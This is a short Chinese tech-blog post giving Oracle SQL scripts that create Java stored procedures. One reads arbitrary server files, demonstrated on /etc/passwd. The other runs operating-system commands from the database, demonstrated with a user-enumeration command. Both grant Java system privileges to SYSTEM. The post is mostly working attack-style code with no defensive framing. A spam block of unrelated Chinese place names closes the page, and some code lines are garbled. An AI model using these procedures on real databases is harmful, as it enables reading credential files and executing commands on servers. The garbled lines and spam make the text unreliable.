shnulaa

          Never deter till tomorrow that which you can do today
          posts - 15, comments - 0, trackbacks - 0, articles - 2
            BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

          oracle read file context

          Posted on 2010-09-28 15:53 shnulaa 閱讀(212) 評論(0)  編輯  收藏 所屬分類: java
           1--code
           2set serveroutput on
           3Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
           4AS
           5import java.lang.*;
           6import java.io.*;
           7public class JAVAREADFILE
           8{
           9public static void readfile(String filename) throws IOException
          10{
          11FileReader f = new FileReader(filename);
          12BufferedReader fr = new BufferedReader(f);
          13String text = fr.readLine();
          14while(text != null)
          15{
          16System.out.println(text);
          17text = fr.readLine();
          18}
          19fr.close();
          20}
          21}
          22/
          23Create or REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
          24AS LANGUAGE JAVA
          25NAME 'JAVAREADFILE.readfile(java.lang.String)';
          26/
          27exec dbms_java.set_output(5000);
          28grant javasyspriv to system;
          29grant javauserpriv to system;
          30exec JAVAREADFILEPROC('/etc/passwd')
          31--code
          32

          for windows
           1--code
           2create or replace and compile
           3java souRCe named "util"
           4as
           5import java.io.*;
           6import java.lang.*;
           7public class util extends Object
           8{
           9public static int RunThis(String args)
          10{
          11Runtime rt = Runtime.getRuntime();
          12int RC = -1;
          13try
          14{
          15Process p = rt.exec(args);
          16int bufSize = 4096;
          17BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
          18int len;
          19byte buffer[] = new byte[bufSize];
          20// Echo back what the program spit out
          21while ((len = bis.read(buffer
          220, bufSize)) != -1)
          23System.out.write(buffer, 0len);
          24RC = p.waitFor();
          25}
          26catch (Exception e)
          27{
          28e.printStackTrace();
          29RC = -1;
          30}
          31finally
          32{
          33return RC;
          34}
          35}
          36}
          37/
          38create or replace
          39function RUN_CMz(p_cmd in varchar2return number
          40as
          41language java
          42name 'util.RunThis(java.lang.String) return integer';
          43/
          44create or replace procedure RC(p_cmd in varChar)
          45as
          46number;
          47begin
          48x := RUN_CMz(p_cmd);
          49end;
          50/
          51variable x number;
          52set serveroutput on;
          53exec dbms_java.set_output(100000);
          54grant javasyspriv to system;
          55grant javauserpriv to system;
          56exec :x:=run_cmz('net1 user');
          57--code
          主站蜘蛛池模板: 贵州省| 天等县| 贵溪市| 佛坪县| 左贡县| 万安县| 苏尼特右旗| 政和县| 手机| 分宜县| 台北市| 慈溪市| 滁州市| 名山县| 拉萨市| 孟连| 吉安市| 隆安县| 高州市| 潮州市| 简阳市| 临湘市| 微山县| 庄河市| 湾仔区| 岑巩县| 雷波县| 十堰市| 平谷区| 天祝| 蒙自县| 高淳县| 吉木乃县| 广宁县| 东乌珠穆沁旗| 太仓市| 溆浦县| 康保县| 江北区| 马尔康县| 秀山|